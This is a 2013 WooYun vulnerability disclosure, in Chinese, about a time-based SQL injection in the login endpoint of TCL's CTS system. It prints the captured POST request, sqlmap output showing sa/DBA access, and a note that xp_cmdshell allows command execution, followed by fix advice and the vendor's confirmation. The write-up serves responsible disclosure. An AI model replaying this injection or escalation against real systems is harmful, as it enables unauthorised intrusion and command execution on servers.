当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-038485

漏洞标题：TCL漏洞3之某系统高权限SQL注射可以直接执行系统命令

相关厂商：TCL官方网上商城

漏洞作者： 小胖子

提交时间：2013-10-12 13:49

修复时间：2013-11-26 13:50

公开时间：2013-11-26 13:50

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-10-12： 细节已通知厂商并且等待厂商处理中
2013-10-12： 厂商已经确认，细节仅向厂商公开
2013-10-22： 细节向核心白帽子及相关领域专家公开
2013-11-01： 细节向普通白帽子公开
2013-11-11： 细节向实习白帽子公开
2013-11-26： 细节向公众公开

简要描述：

第四发...

详细说明：

系统地址：TCL的CTS系统

http://cts.tcl.com


登陆的时候用单引号直接提示通信错误。

.jpg


既然没有具体回显，那就只有time-based
抓登陆的包。

POST /AjaxHelper/AjaxHelper.aspx HTTP/1.1
Host: cts.tcl.com
Proxy-Connection: keep-alive
Content-Length: 42
Accept: application/json, text/javascript, */*
Origin: http://cts.tcl.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.66 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://cts.tcl.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: ASP.NET_SessionId=rq3aemt2vp3dzkhxibndmjrz; ASPXSpy=21232f297a57a5a743894a0e4a801fc3; __utma=35223460.844190586.1380339073.1380339073.1380339073.1; __utmc=35223460; __utmz=35223460.1380339073.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __v=1.3171702790350680600.1380339073.1380339073.1380339073.1; __l=260317843; __lstinst=180610047
method=login&UserName=admin&PassWord=admin


然后SQLMAP。

.jpg


current user:    'sa'
[21:35:16] [INFO] fetching current database
[21:35:16] [INFO] retrieved: TCL_CTS
current database:    'TCL_CTS'
[21:38:13] [INFO] testing if current user is DBA
current user is DBA:    True


可以恢复xp_cmdshell来执行系统命令，可以回显。

.jpg

漏洞证明：

见详细说明。

修复方案：

0x1：注入老问题，过滤过滤再过滤，特别是登陆框。
0x2：数据库账户权限高得不得了了吧？
0x3：先来5发，看看情况，别国庆放假都给忽略了。

版权声明：转载请注明来源 小胖子@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：18

确认时间：2013-10-12 17:30

厂商回复：

已转相关部门处理，感谢！

最新状态：

暂无

漏洞评价：

评论

  1. 2013-10-12 15:22 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    两个3？